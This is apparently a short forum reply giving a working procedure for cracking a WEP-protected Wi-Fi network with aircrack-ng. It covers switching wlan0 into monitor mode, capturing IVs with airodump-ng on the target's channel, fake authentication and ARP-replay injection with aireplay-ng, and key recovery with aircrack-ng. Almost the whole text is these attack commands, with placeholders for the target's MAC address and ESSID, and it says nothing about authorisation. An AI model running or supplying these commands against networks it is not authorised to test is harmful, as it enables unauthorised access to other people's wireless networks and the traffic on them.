make sure wlan0 is in the right mode. Once you have it in the right mode it will change the name of wlan0 (example: wlan0mon") you can check with "ifconfig" and from there on instead of using wlan0 change it to wlan0mon.
Here what i found to work for me:
airodump-ng wlan0mon --ivs -w /root/"make a file name up" --channel "channel of target"
aireplay-ng -1 0 -e essid -a "MAC of target" -h "your MAC" wlan0mon
aireplay-ng -3 -b "MAC of target" -h "your mac" wlan0mon
aircrack-ng -s "path of file from airodump /root/filename"